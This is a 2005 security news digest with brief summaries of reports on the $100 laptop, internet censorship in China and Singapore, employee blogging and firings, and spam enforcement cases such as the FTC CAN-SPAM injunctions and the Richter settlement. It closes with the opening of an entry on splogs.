Researchers at several universities have received grants from the National Science Foundation (NSF) to study the social implications of nanotechnology. Until now, most funds for nanotechnology projects have supported efforts to develop the technology itself rather than to study its potential effects. Over the next five years, Arizona State University at Tempe and the University of California at Santa Barbara will receive \$6.2 million and \$5 million, respectively, to study the possible societal side effects of manipulating matter at the atomic level to create new substances and extremely small devices. The University of South Carolina and Harvard University will receive smaller grants to support existing projects. Among the speculative uses of nanotechnology is an idea to create tiny sensors that could reside within a human body and monitor its health. Such sensors would presumably spawn a host of ethical and privacy questions. Moreover, the prospect of creating new types of compounds at the atomic level raises concern about possible risks to the environment. Research at Arizona will focus on security, privacy, and biomedicine; at Santa Barbara, research will address social perceptions of the risk inherent in nanotechnology. Chronicle of Higher Education, 10 October 2005 (sub. req'd)

Category 31.3 *New technology with security implications*
2005-11-16 **MIT \$100 laptop production One Laptop per Child OLPC Nicholas Negroponte Tunisia conference**

EDUPAGE; <http://chronicle.com/free/2005/11/2005111602t.htm>

MIT DEBUTS \$100 LAPTOP

At the World Summit on the Information Society in Tunisia, Nicholas Negroponte, director of MIT's Media Lab, will show an early version of a \$100 laptop that he announced in January. Negroponte has said that such a device would bring the fruits of technology to millions of schoolchildren in developing nations, spanning the digital divide and spurring economic development. According to those involved with the project, a number of countries have expressed interest, including Brazil, China, Egypt, Nigeria, Thailand, and South Africa, though development remains before orders can be placed. In addition, the governor of Massachusetts has called on his state to provide the new laptops to every middle and high school student. Critics of the program argue that people in developing nations often need more basic supplies, such as food and clean water, and some also note that the educational value of laptops for every student has not been proven. The devices use the Linux operating system and flash memory; they do not include cameras or DVD-ROM drives, as originally planned. They run on C batteries that can be recharged using a hand crank attached to the device. Chronicle of Higher Education, 16 November 2005

Category 31.3 *New technology with security implications*

2005-12-14 **information security new channel alerts AT&T**

DHS IAIP Daily; <http://www.networkworld.com/news/2005/121405-att-security.html>

AT&T LAUNCHES 24-HOUR SECURITY NEWS SERVICE

AT&T Wednesday, December 14, turned on a 24-hour security news service that streams to customers of the carrier's Internet Protect service. The always-on Webcast includes regular programming that is interrupted by security alerts that AT&T deems important enough to let customers know about right away. "We're building a security geek channel," said AT&T CSO Ed Amoroso during his keynote address at Interop New York, during which he announced the service. Programming includes lectures on technologies, interviews with corporate CIOs as well as twice-daily news updates. The alerts will call attention to worms and viruses and suggest ways to deal with them, Amoroso says. These supplement the existing alerts that AT&T would send along as part of Internet Connect. Amoroso acknowledged that most threats come from inside corporate networks, and he characterized badly written software as the biggest threat to network security, but he said AT&T's service could help deal with threats coming from outside.

Category 31.3 *New technology with security implications*

2005-12-14 **MIT \$100 laptop production Quanta Taiwan manufacturer One Laptop per Child OLPC Nicholas Negroponte**

EDUPAGE; <http://hardware.silicon.com/desktops/0,39024645,39155040,00.htm>

QUANTA TO PRODUCE MIT'S \$100 LAPTOPS

Computer maker Quanta has been chosen to manufacture the \$100 laptops that are the brainchild of MIT's Nicholas Negroponte and supported by the One Laptop per Child (OLPC) organization. Based in Taiwan, Quanta is the world's largest maker of laptops, building the devices for companies including Dell and HP. Some believe that supplying the developing world with inexpensive computer technology will be a boon for educational and economic development of those nations, and the notion of an inexpensive laptop is part of that vision. Previous attempts to build and deploy similar technology have failed, and detractors argue that the \$100 laptop program doesn't stand much of a chance. Nevertheless, recruiting a major hardware manufacturer signals the level of support that the project enjoys. Of the announcement, Negroponte said, "Any previous doubt that a very-low-cost laptop could be made for education in the developing world has just gone away." Silicon.com, 14 December 2005

31.4 **Outsourcing**

Category 31.4

Outsourcing

2005-03-07

terrorist India outsourcing industry suicide attack disaster recovery plans IBM Intel Texas Instruments Accenture Wipro Infosys

DHS IAIP Daily;

http://www.infoworld.com/article/05/03/07/HNterroristsindia_1.html

TERRORISTS TARGET INDIA'S OUTSOURCING INDUSTRY.

India's software and services outsourcing industry is a likely target for a terrorist group operating in the country, local police warned on Sunday, March 6. But Indian outsourcing and software companies said they are prepared to cope with the threat. Documents seized from three members of the Lashkar-e-Toiba (LeT) terrorist group killed in an encounter with the police on Saturday, March 5, revealed that they planned to carry out suicide attacks on software companies in Bangalore, Karnal Singh, joint commissioner of police in Delhi, told reporters. LeT is demanding independence for the Indian state of Jammu and Kashmir. "The terrorists planned to hit these companies in an effort to hinder the economic development of the country," Singh said. IBM, Intel, Texas Instruments, Accenture, Wipro, and Infosys Technologies are among those with operations in Bangalore. Most of the technology companies in the city have already set up disaster recovery plans and special disaster recovery sites that could be used in the event of a terrorist attack, according to Kiran Karnik, president of the National Association of Software and Service Companies in Delhi.

32.1 Censorship in the USA

Category 32.1

Censorship in the USA

2005-01-31

high school first amendment free speech

NewsScan;

http://www.knightfdn.org/default.asp?story=news_at_knight/releases/2005/2005_01_31_firstamend.html

SCHOOL NEWS: FIRST AMENDMENT? WHAT FIRST AMENDMENT?

A University of Connecticut survey of more than 100,000 high school students has found that educators are failing to give high school students an appreciation of the First Amendment's guarantees of free speech and a free press. Commissioned by the Knight Foundation, the \$1 million, two-year study found that nearly three-fourths of high school students either do not know how they feel about the First Amendment or admit they take it for granted; seventy-five percent erroneously think flag burning is illegal; half believe the government can censor the Internet; and more than a third think the First Amendment goes too far in the rights it guarantees. Knight Foundation chief executive Hodding Carter III says, "These results are not only disturbing; they are dangerous. Ignorance about the basics of this free society is a danger to our nation's future." (Knight Foundation 31 Jan 2005)

Category 32.1

Censorship in the USA

2005-03-24

Federal Election Commission Internet activity rules campaign finance control

DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/articles/A63872-2005Mar24.html>

FEDERAL ELECTION COMMISSION OFFICIALS WEIGH LIMITED INTERNET ACTIVITY RULES.

Federal Election Commission (FEC) officials on Thursday, March 24, took their first steps in extending campaign finance controls to political activity on the Internet, asking for public input on limited regulations for the freewheeling medium. Commissioner Ellen Weintraub, who took the lead on drafting proposals with vice chairman Michael Toner, described the steps as "restrained." The commission emphasized a hands-off approach to bloggers, or authors of Web logs, among the loudest and unruliest voices online. The draft guidelines suggest applying limits that exist in other media to certain political advertising on the Web and political spam e-mail. The commission said it was exploring Internet regulation reluctantly - ordered to do so by a court - and with the lightest touch possible, exempting everything except certain kinds of paid political advertising. But the Center for Individual Freedom, a nonprofit advocacy group, said any regulation is too much. FEC Website: <http://www.fec.gov/>

32.2 Censorship outside the USA

Category 32.2 *Censorship outside the USA*

2005-02-07 **cell phone UK moral London prostitution censorship filtering advertising**

NewsScan; <http://wsj.com/>

U.K. CELLPHONE COMPANIES REJECT ROLE OF 'MORAL ARBITER'

A London city councilman wants cellphone companies to strangle the vice trade by declining calls to the numbers shown on business cards soliciting prostitution, but most cellphone companies say it isn't their job to interfere with a customer's service. A Vodafone spokesman says, "We are not content to play the role of moral arbiter." The decision is supported by the English Collective of Prostitutes, which says that women who are unable to advertise in phone booths may be forced to walk the streets, a more dangerous activity than operating from an apartment. Although prostitution itself (though not street solicitations) is legal in the U.K., the city councilman says a crackdown is crucial because the world's oldest profession has been booming in London ever the fall of the Berlin Wall, when organized crime gangs began to coerce young women from Eastern Europe and Russia to work for them. (Wall Street Journal 7 Feb 2005)

Category 32.2 *Censorship outside the USA*

2005-02-14 **China crackdown café censorship shutdown Internet pornography subversion politics schools**

NewsScan;

http://ap.washingtontimes.com/dynamic/stories/C/CHINA_INTERNET_CRAC

KDOWN?SITE=DCTMS&SECTION=HOME

CHINA'S CRACKDOWN ON INTERNET CAFES

Chinese authorities shut down more than 12,575 Internet cafes in the last three months of 2004 to create a "safer environment for young people in China," according to the Xinhua News Agency. With 87 million people online, China has the world's second-largest population of Internet users (after the U.S.), and the government actively promotes Internet use for business and education. However, communist authorities block access to Web sites they deem pornographic or subversive and Internet cafes are banned from operating near schools. (AP/Washington Times 14 Feb 2005)

Category 32.2 *Censorship outside the USA*

2005-03-21 **China censorship blocking college campus Webpages discussions politics pop culture pornography**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7958355>

CHINA BLOCKS ACCESS TO CAMPUS WEB PAGES

Chinese officials have blocked outside access to a number of online bulletin boards operated by universities. Such bulletin boards have become popular vehicles for discussion about topics including politics, pop culture, and pornography, subjects which Chinese authorities have not been shy about censoring. Tsinghua University's Shuimu Tsinghua bulletin board was one of those restricted recently, joining bulletin boards at Wuhan University and Nankai University, as well as one at Peking University that was shut down entirely. According to a student from Tsinghua University who asked not to be named, the Ministry of Education's reasoning for blocking outside access was "because the bulletin board was only supposed to be a platform for internal exchange within the university." He added, "Students are calm about it, but it seems that non-student users are angry because they can no longer get access." Reuters, 21 March 2005

Category 32.2

Censorship outside the USA

2005-05-09

Singapore censorship scare tactics University of Illinois Urbana-Champaign graduate student blog shut down A*Star science research SLAPP strategic lawsuit against public participation

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8422422>

STUDENT SHUTS DOWN BLOG AFTER THREAT FROM SINGAPORE

Chen Jiahao, a graduate student in chemical physics at the University of Illinois at Urbana-Champaign, has shut down his personal blog and issued two apologies after an agency of the government in Singapore threatened to sue Chen for defamation. A*Star, the agency in Singapore dealing with science and research, accused Chen, who is from Singapore, of libelous statements that "went way beyond fair comment." The agency demanded a public apology but said Chen's first apology was insincere and insisted on another. A*Star said it welcomes various opinions and perspectives, but many in the journalism community rejected that claim. Singapore has long had a reputation for using tactics including lawsuits to silence critics. Organizations including the Committee to Protect Journalists and Reporters without Borders have decried Singapore's threats to Chen and journalists. "Chen criticized some of A*Star's policies," said Julien Pain, head of Reporters without Borders' Internet freedom desk, "but there was nothing defamatory in what he wrote." Reuters, 9 May 2005

[MK adds: a clear case of a SLAPP, no? (Strategic Lawsuit Against Public Participation)]

33.1 Acceptable use policies

Category 33.1

Acceptable use policies

2005-02-11

blog weblog work fire employment termination judgement courtesy foolish stupid
rude crude crass insulting anonymous consequences pseudonym journalist criticism
sarcasm appropriate use

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A15511-2005Feb10.html>

BLOGGING WHILE YOU WORK: MAYBE NOT A GOOD IDEA

Using the pseudonym "Sarcastic Journalist," reporter Rachel Mosteller of the Durham (N.C.) Herald-Sun newspaper wrote this entry on her personal blog one day last year: "I really hate my place of employment. Seriously. Okay, first off. They have these stupid little awards that are supposed to boost company morale. So you go and do something 'spectacular' (most likely, you're doing your JOB) and then someone says 'Why golly, that was spectacular!' then they sign your name on some paper, they bring you chocolate and some balloons... Okay two people in the newsroom just got it. FOR DOING THEIR JOB." The day after her posting, Sarcastic Journalist was fired (even though it did not identify the newspaper in her posting). Lee Rainie, director of the Pew Internet & American Life Project, comments: "We all complain about work and our bosses. And the ethos of the blogosphere is to be chatty and sometimes catty and crude. Even in an era of casual Fridays, that is not what companies want to be portrayed by the world." And labor lawyer Gregg M. Lemley notes: "In most states, if an employer doesn't like what you're talking about, they can simply terminate you." (Washington Post 11 Feb 2005)

33.2 Spam, spim, spit & splogs

Category 33.2

Spam, spim, spit & splogs

2005-01-11

adult e-mails CAN-SPAM ACT FTC memberships

EDUPAGE; <http://www.wired.com/news/politics/0,1283,66240,00.html>

ADULT E-MAILS SHUT DOWN BY CAN-SPAM ACT

The Federal Trade Commission (FTC) has won an injunction against six companies accused of sending thousands of spam messages that failed to meet the requirements of the CAN-SPAM Act. According to the FTC's complaint, the companies sent e-mail that directs recipients to adult Web sites but did not include the phrase "sexually explicit" in the subject line, as required by the antispam law. The e-mails also did not provide opt-out functions to recipients and falsely promised free memberships with the Web sites involved. The temporary injunction issued by a court in Las Vegas marks the first time the requirements of the CAN-SPAM Act regarding adult content have been used. The FTC will ask the court to make the injunction permanent. In addition, those who operate the Web sites that benefit from unlawful spam can be held accountable under the CAN-SPAM law.

Category 33.2

Spam, spim, spit & splogs

2005-01-12

CAN-SPAM spam porn FTC injunction Federal Trade Commission junk e-mail liability prosecution injunction

NewsScan; <http://apnews.excite.com/article/20050112/D87II6A80.html>

FTC SHUTS DOWN X-RATED SPAMMERS

The Federal Trade Commission has won a preliminary injunction against six companies accused of profiting from sexually explicit junk e-mail. The injunction, granted by U.S. District Court Judge Philip M. Pro, will last the duration of the FTC's civil suit against the companies. The case marks the first time the FTC has taken action under a rule included in the last years "Can Spam" Act that requires a label identifying sexually explicit e-mail in the subject line. The law also holds liable Web site operators who benefit from fraudulent pornographic spam. "It's not just the people who push the buttons to send spam" who are liable," notes FTC marketing practices division director Eileen Harrington. Named in the FTC complaint are Global Net Solutions, Open Space Enterprises, Southlake Group and WTFRC Inc., all of Nevada; Global Net Ventures of London; and Wedlake Ltd., which is based in Riga, Latvia. (AP 12 Jan 2005)

Category 33.2

Spam, spim, spit & splogs

2005-01-14

Texas notorious spammers lawsuit PayPerAction Leadplex state federal

EDUPAGE; http://news.com.com/2100-1030_3-5536356.html

TEXAS TARGETS NOTORIOUS SPAMMERS

The attorney general of Texas has filed a civil lawsuit against two individuals believed to be responsible for millions of illegal e-mail solicitations. Ryan Samuel Pitylak, a student at the University of Texas, and Mark Stephen Trotter of California operate two companies, PayPerAction and Leadplex. Spamhaus.org, a watchdog group that monitors spam, has identified the two companies as being among the top five spam operations worldwide. Prosecutors allege that the e-mails sent by the two companies violate state and federal laws, including the CAN-SPAM Act, by including misleading subject lines and fraudulent information in the body of the messages. The defendants, who are also accused of violating Texas trade practices, face millions of dollars in fines, though no criminal charges were filed against them. An attorney for the defendants said his clients' businesses are in full compliance with all applicable laws, including the CAN-SPAM Act. CNET, 14 January 2005

Category 33.2 *Spam, spim, spit & splogs*
2005-02-04 **new spamming technique Internet service provider ISP computer exploitation
spammer technique sophistication**

DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/articles/A61901-2005Feb3.html>

NEW SPAMMING TECHNIQUE USES ISP COMPUTERS.

An advanced spamming technique could push the volume of unwanted e-mail to new heights in coming months, straining the integrity of the online communication system, according to several top experts who monitor the activity of spam gangs around the world. Illegal bulk-mailers have been able to deploy massive blasts of spam by routing it through the computers of their Internet service providers (ISPs), rather than sending it directly from individual machines, the experts said. The result is that "blacklists" of known spamming computers -- which other network operators rely upon to block mail from those machines -- are no longer effective. To block spam coming directly from an ISP's computers, all mail from that ISP would have to be blocked, which would cripple electronic communication. The new method of attack reflects the evolving sophistication and efficiency of top spamming groups, a community of people who support each other by trading intelligence, products and services. Some ISPs have been able to make dents in the amount of spam reaching the inboxes of computer users, but spam traffic over the Internet continues to rise and to exact steep costs on network operators, businesses and consumers.

Category 33.2 *Spam, spim, spit & splogs*
2005-02-04 **blacklists ISP Internet service provider open spam relay e-mail technique cost
estimates**

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A61901-2005Feb3.html>

SPAMMERS TRY A NEW TACK

Tired of being blocked by "blacklists," spammers are turning to a new technique -- routing it directly through the computers of their Internet service providers, rather than sending it from individual machines. The result poses a dilemma: to block spam coming directly from an ISP's servers would mean blocking all its mail, crippling the system. "From what we've seen, the volumes of this type of spam are going up dramatically," says Steve Linford, who heads up the Spamhaus Project. "We're really looking at a bleak thing" if ISPs don't quickly deploy countermeasures, he adds. Such measures could include more aggressive monitoring and limiting how much mail is being sent from individual machines on their networks. In addition, ISPs should beef up efforts to authenticate mail they pass on through their own computers, says Linford. A study released yesterday estimates that deleting spam costs nearly \$22 billion per year in lost productivity, based on a survey of 1,000 adults who said they spend about three minutes per day trashing spam when they check their e-mail. (Washington Post 4 Feb 2005)

Category 33.2 *Spam, spim, spit & splogs*
2005-02-09 **wireless domain spam free Federal Communications Commission FCC regulations
working list disclosure**

DHS IAIP Daily; <http://www.pcworld.com/news/article/0,aid,119620,00.asp>

LIST OF WIRELESS DOMAINS THAT CANNOT RECEIVE SPAM.

The U.S. Federal Communications Commission (FCC) took a major step this week toward fighting unwanted e-mail messages sent to wireless phones and pagers by publishing a list of wireless mail domain names. The FCC, which published the list late Monday, February 7, has ruled that starting in early March, it will be illegal to send most commercial messages to users of wireless phones with addresses that include any of the published domain names. Wireless spam, still limited in the U.S., has generated significant customer complaints in other countries including Japan and India. Senders who violate the FCC rules and send commercial e-mail to the wireless mail domains on the list face fines of up to \$11,000 per violation. Scott Chasin, chief technology officer at MX Logic, an antispam software vendor said that the FCC list has one potential downside--it provides spammers with a working list of wireless mail domains. The list is available at:
<http://www.fcc.gov/cgb/policy/DomainNameDownload.html>

Category 33.2 Spam, spim, spit & splogs

2005-02-09 **Microsoft Pfizer Viagra lawsuit suit spam e-mail scam**

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A12618-2005Feb9.html>

MICROSOFT AND PFIZER CAMPAIGN AGAINST SPAM

Microsoft and drug manufacturer Pfizer yesterday filed 17 lawsuits against various alleged spammers and Web-site operators that push fraudulent versions of drugs (especially Viagra). This is the first time an Internet service provider (Microsoft's MSN) has joined a major retailer to attack the entire supply chain of online scams. Pfizer attorney Marc Brotman says that one-fourth of all spam is related to pharmaceuticals, and that Pfizer suggested that it and Microsoft pool the two firms' investigative resources. (Washington Post 9 Feb 2005)

Category 33.2 Spam, spim, spit & splogs

2005-02-21 **spim arrest New York instant messaging MySpace.com extortion**

NewsScan; http://news.com.com/U.S.+makes+first+arrest+for+spim/2100-7355_3-5584574.html

FIRST SPIMMER ARREST

An 18-year-old New York teenager has become the first person to be arrested on suspicion of spimming. Anthony Greco allegedly sent 1.5 million messages hawking pornography and mortgages to users of MySpace.com's IM system, and was arrested in a sting operation in the Los Angeles Airport last Wednesday following an extortion attempt on his part. Greco believed he was flying to LA to seal a deal with the president of MySpace.com, whom Greco had threatened with publicizing his spim techniques if he were not granted an exclusive marketing arrangement that would have legitimized his spimming activities. Assistant U.S. Attorney Brian Hoffstadt says that while Greco's case marks the first criminal prosecution of instant message spamming, there may well be more to come: "We're just beginning to get the tip of the iceberg. This could be a new wave as online communities start up." (CNet News.com 21 Feb 2005)

Category 33.2 Spam, spim, spit & splogs

2005-02-21 **instant messaging spim statistics**

NewsScan; <http://www.pewinternet.org/PPF/p/1052/pipcomments.asp>

BATTLING THE SPIM-MEISTERS

Almost one in three instant-messaging users in the U.S. have received some kind of "spim" (unsolicited commercial instant messages), according to a survey by the Pew Internet & American Life Project. Results indicate that users age 30 and younger are more likely to get spammed, compared with the next older age cohort (31-49). Other than the age discrepancy, however, no other demographic trends were discernible, says Pew: "Instant message users in all income brackets and in all racial and ethnic groups are equally likely to receive spim. Somewhat surprisingly, broadband users at home are no more likely than dialup users to receive spim, even though, presumably, those with always-on broadband connections keep their instant message programs running for longer periods of time than dialup users." The survey found that 52 million Americans -- 42% of the online population -- use instant messaging, and among the 30- and-under age group, it's 66%. (Pew Internet & American Life Project 21 Feb 2005)

<i>Category 33.2</i>	<i>Spam, spim, spit & splogs</i>
2005-02-23	denial of service DoS spam blocker court appearance e-mail notice critical information reliability delivery

RISKS;
<http://news.lp.findlaw.com/andrews/pl/med/20050223/20050223barnes.html>

SPAM-BLOCKER CAUSES MISSED COURT DATE

"A plaintiff's attorney in a wrongful-death lawsuit, who missed a court date because his firm's spam blocking software automatically sidetracked the court's e-mail notice, has narrowly escaped being sanctioned for failing to appear at the scheduled status conference...."

In a follow-up analysis, Joseph Brennan pointed out that such a sequence would require a number of errors. Either the lawfirm's spam software was set wrong and discarded blocked e-mail OR it diverted spam to a spam folder but the lawyer didn't look at the spam folder OR the spam-blocker bounced the "spam" but the court officers failed to note the bounce message and therefore did not follow up on the problem. In any case, Brennan was pretty sure there were human errors involved.

[MK adds: there is no specification for required delivery in any of the RFCs defining SMTP. No one should ever assume that e-mail has been delivered to its intended recipient without proof of such delivery.]

<i>Category 33.2</i>	<i>Spam, spim, spit & splogs</i>
2005-04-01	spammer bankruptcy protection anti-spam law Microsoft lawsuit litigation

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4400335.stm>

SPAMMER FILES FOR BANKRUPTCY PROTECTION

Scott Richter, proprietor of one of the world's best known spamming operations, said the company has been forced to file for bankruptcy protection. OptInRealBig.com has been the target of several lawsuits for violating antispam laws, including one lawsuit filed by Microsoft, which is seeking \$46 million in damages. Spamhaus, an organization that monitors junk e-mail globally, ranks OptInRealBig.com third on its list of spam operations around the globe. The company is alleged to have sent billions of e-mail messages that appeared to come from hijacked return addresses, including those of the Kuwait Ministries of Communication and Finance, the Seoul Municipal Boramae Hospital, and the Virginia Community College System. In its announcement, OptInRealBig.com said that the ongoing lawsuits and possible damages have made it impossible for the company to "still run a viable business." An attorney for OptInRealBig.com said the company expects ultimately to prevail.
BBC, 1 April 2005

<i>Category 33.2</i>	<i>Spam, spim, spit & splogs</i>
2005-05-09	anti-spam Bayesian filters probabilistic methods countermeasures unsolicited commercial e-mail

RISKS 23 88

SPAMMERS STRIVE FOR ORIGINALITY TO DECEIVE ANTI-SPAM FILTERS

Dan Wallach reported on his detailed analysis of how spammers are defeating sophisticated anti-spam filters: they are using attributes of normal mail and avoiding obvious characteristics of spam.

>Recently, I've gotten a number of spams that have perfect spelling and vanilla plain text (as opposed to the insane HTML ov3rki!! Variety). If you look at the mail headers, there's some evidence of zombie machines being used to transmit the spam (i.e., received lines not matching up to the From or Sender line) but otherwise the headers are quite clean. For the message in front of me right now, the user agent is even listed as Mozilla on Linux. DSPAM has a clever feature where it will tell you what factors in the message it used to make its decision. In this case, DSPAM latched onto the User-Agent string and other Mozilla-esque headers as having a very low probability of being spam. This outweighed a few strings that otherwise should have tipped it off (e.g., "credit history" or "secure, private").<

He concluded,

>In some sense, this is exactly what Paul Graham predicted would eventually happen in "A Plan For Spam". My hope is that I can eventually untrain DSPAM of its love for Mozilla headers; we'll see how well it does. My fear is that there will always be an avenue of attack for a "contrarian spammer" who engineers spam to be unlike all the other spams out there.<

Category 33.2 Spam, spim, spit & splogs
2005-05-09 **SPEWS spam prevention early warning system anti-spam Telewest customers e-mail address hijack zombies**

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4528927.stm>

ANTISPAM BLACKLIST TARGETS 900,000

Officials at the Spam Prevention Early Warning System (SPEWS) have placed e-mail addresses of 900,000 Telewest customers on its blacklist, saying that computers using those addresses may have been hijacked and used for sending spam. Many organizations use the SPEWS blacklists as e-mail filters—anything coming from an address on the list is blocked. Telewest acknowledged that some subscribers of its Blueyonder broadband service have had their computers compromised by computer viruses and turned into e-mail zombies. Company officials said they are working to contact those users with suspiciously high volumes of e-mail traffic to help them clean their machines. "As you can imagine," said a statement from the company, "[it] is a time-consuming task." Matt Peachey of antispam software firm Ironport said he doubts all of the blocked computers have in fact been turned into spam zombies by hackers. Peachey accused SPEWS of casting too wide a net in its blacklisting. BBC, 9 May 2005

Category 33.2 Spam, spim, spit & splogs
2005-05-12 **Boston spammer ring Internet Spam Gang Websites shut down court order civil suit**

DHS IAIP Daily;
http://www.boston.com/business/technology/articles/2005/05/12/judge_orders_spammers_websites_shut/

JUDGE ORDERS SPAMMERS' WEBSITES SHUT

A Massachusetts state Superior Court judge Wednesday, May 11, issued an emergency order to shut down dozens of Websites, as Massachusetts investigators working with Microsoft Corp. moved against what they described as a Boston-based ring of Internet spammers responsible for one of the world's most prolific spam operations. In a civil suit filed with the court Wednesday, state Attorney General Tom Reilly accused Leo Kuvayev and six other defendants with violating state and federal consumer protection laws by masterminding a global network of spammers who have sent hundreds of millions of e-mail messages directing recipients to Websites with names like oemcd.biz or genericpharmacies.biz. The messages, and the Websites, seek to lure consumers into buying low-interest mortgage loans, pirated software, knockoffs of designer watches, pornography, and counterfeit drugs of prescription brand names. Massachusetts and Microsoft officials said the spammers, whom they dubbed the "Internet Spam Gang," unleashed the largest volume of e-mail they've seen from one group. State officials have not brought criminal charges against the seven defendants.

Category 33.2 Spam, spim, spit & splogs
2005-07-07 **spammer Smith Rizler federal judge Burnsville Internet Xpress Pharmacy Direct drugs spam FBI court contempt jailed**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2139427/spam-supremo-smith-sued>

SUSPECTED SPAMMER SMITH SEIZED

Suspected spammer Christopher Smith, nicknamed the Rizler was arrested at a Minneapolis, MN airport shortly after stepping off a flight from the Dominican Republic, where he had been operating since a U.S. federal judge in May shut down his companies, Burnsville Internet and Xpress Pharmacy Direct, and ordered him to stop selling drugs online. Smith had since set up similar operations in the Dominican Republic, through which he is alleged to have sent more than a billion spam emails either to AOL email addresses or through AOL email accounts. The FBI claims that Smith has already made about \$18 million this year. Federal authorities raided Xpress Pharmacy and Smith's home on 10 May, seizing his passport and \$4.2m in assets, including a \$1.1m house and luxury cars worth \$1.8m. At the same time the FBI closed down his 85-employee company. Investigators concluded that Smith had been selling medicines to customers without proper prescriptions, and selling drugs without a licence. The U.S. Attorney's office claims that Smith had broken court orders and is recommending that he be held in criminal contempt and jailed for six months.

<i>Category 33.2</i>	<i>Spam, spim, spit & splogs</i>		
2005-07-27	anti-spam content filtering censorship political bias		
RISKS		23	95

ARE SOME ANTI-SPAM SERVICES CENSORING MAIL FOR POLITICAL REASONS?

Pete Klammer voiced concern over possible interference in the political process by corporations running anti-spam services.

>In the run-up to the 2004 election, I found activist messages about (against) Arnold Schwarzenegger were being screened by ACM's e-mail screening service controlled by Postini. I was only able to verify this, and retrieve my messages, because I had chosen the "quarantine" option, and checked the quarantine area soon enough, before the messages were permanently expunged.

Now we hear that messages regarding the Downing Street memos have been blocked from Comcast.net customers (one of the largest high-speed cable internet providers in the U.S.), based on content of the message -- a URL -- rather than subject line or sender address or domain.

The potential for (mis)information manipulation by large and powerful corporations is frightening, particularly as U.S. Law exempts them from "common carriage" legal requirements. We would never (I hope!) stand for our telephone company to redirect our flight-reservation phone call to a different airline "partner" company; why must we tolerate such distortion on the Internet?<

* * *

In a follow-up response in RISKS 23.96, Craig A. Finseth expressed skepticism about Klammer's hypothesis: "Probably because you asked them to: Postini is an anti-spam service which provides mechanisms for you to control what is filtered (as well as a heck of a lot of stuff that they do for you). My ISP uses it and offers me full control over the amount of filtering done, including complete disabling."

<i>Category 33.2</i>	<i>Spam, spim, spit & splogs</i>		
2005-08-04	spam anti-spam efforts litigation ruling University of Texas White Buffalo Ventures student e-mail addresses CAN-SPAM Act		

EDUPAGE; <http://insidehighered.com/news/2005/08/04/ut>

COURT UPHOLDS UNIVERSITY BLOCK ON SPAMMER

A federal appeals court ruled in favor of the University of Texas (UT) in its dispute with White Buffalo Ventures over thousands of spam e-mails sent by the company to students of the institution. In 2003, White Buffalo, which operates an online dating service geared toward UT students, began sending thousands of messages to student e-mail addresses it had obtained through public records. After receiving many complaints from students, the university blocked White Buffalo's e-mails, a move the company said infringed on its First Amendment rights and its rights under the CAN-SPAM Act. A federal judge disagreed with White Buffalo, and the current ruling supports that decision. The three-judge panel of the appeals court found that the institution is within its rights to place restrictions on commercial speech if such restrictions can be shown to legitimately benefit constituents--in this case, UT's students. Observers noted that the court's rejection of White Buffalo's CAN-SPAM argument is important in that it presents a significant roadblock to organizations that would try to use the law to make it easier, rather than more difficult, to send unsolicited e-mail. Inside Higher Ed, 4 August 2005

<i>Category 33.2</i>	<i>Spam, spim, spit & splogs</i>		
2005-08-10	spam spammer Microsoft settlement Scott Richter New York		

EDUPAGE; <http://www.nytimes.com/2005/08/10/technology/10spam.html>

TOP SPAMMER SCOTT RICHTER SETTLES ON \$7M PENALTY TO MICROSOFT

Microsoft has reached a settlement with Scott Richter, a man once described as one of the top three spammers in the world. Efforts by Microsoft and New York Attorney General Eliot Spitzer in 2003 resulted in the collection of 8,000 e-mail messages containing 40,000 fraudulent statements sent by Richter's company, OptInRealBig. Richter earlier agreed to pay New York State \$50,000; under the new settlement, Richter will pay Microsoft \$7 million. According to Bradford L. Smith, chief counsel for the software giant, \$5 million would be used to "increase our Internet enforcement efforts and expand technical and investigative support to help law enforcement address computer-related crimes," while another \$1 million will be spent on improving computer access for the poor in New York State. The settlement also requires Richter to comply with state and federal laws governing e-mail and to submit to oversight of his company's operations for three years. New York Times, 10 August 2005 (registration req'd)

Category 33.2 *Spam, spim, spit & splogs*
2005-10-13 **TechWorld spammer United States Sophos percent worldwide**

DHS IAIP Daily;
<http://www.techworld.com/security/news/index.cfm?NewsID=4573>
U.S. STILL WORLD'S TOP SPAMMER

Despite anti-spam laws the United States is still the world's top spammer. According to the latest report by Sophos, the US is still number one with 26 percent of all worldwide spam. However, the figure has been falling over the years. According to Graham Cluley, senior technology consultant for Sophos, "It has been lowering for awhile for a number of reasons. The anti-spam task forces and the authorities and the ISPs in North America are getting much better at putting into practice methods that are lowering the amount of spam."

Category 33.2 *Spam, spim, spit & splogs*
2005-10-25 **spam plague PC users Security holiday shoppers viruses IM hackers viruses**

DHS IAIP Daily; http://www.usatoday.com/tech/news/computersecurity/2005-10-25-holiday-spamalanche_x.htm

PROJECTED INCREASE IN SPAM, SPIM & SPLOGS WILL PLAGUE PC USERS

Internet security experts are warning consumers of a wave of unwanted commercial e-mail in the weeks leading up to Thanksgiving, when the amount of spam could double as marketers try to reach holiday shoppers. The increase in spam is also due to the fact that more viruses are being spread by instant-messaging (IM) services that infect PCs and then turn them into zombies - machines that are remotely controlled by hackers to spread spam and more viruses. According to Andrew Lochart, director of product marketing at e-mail security company Postini, attacks on IM services increased 350 percent, to 541, in the second quarter from the previous quarter. Spammers are resorting to IM attacks because consumers use software to defend PCs from e-mail-based viruses, and "there isn't much in terms of anti-virus software for IM," he says. In addition, spammers are sending more e-mail in shorter bursts to overwhelm spam defenses. Blogs have also been penetrated by spammers to create "splogs," which are fake blogs with ads. According to Blake Rhodes, CEO of blog search engine IceRocket.com, about ten percent of the blogs created each day are considered splogs.

Category 33.2 *Spam, spim, spit & splogs*
2005-10-26 **spam spim splog spam-blogs fraud search engine distortion hacking GOOGLE RISKS**

<http://tinyurl.com/9498r> 24 09

SPAM, SPIM, SPIT AND NOW -- SPLOGS!

Spam, long the scourge of email users, rapidly has become the bane of bloggers too.

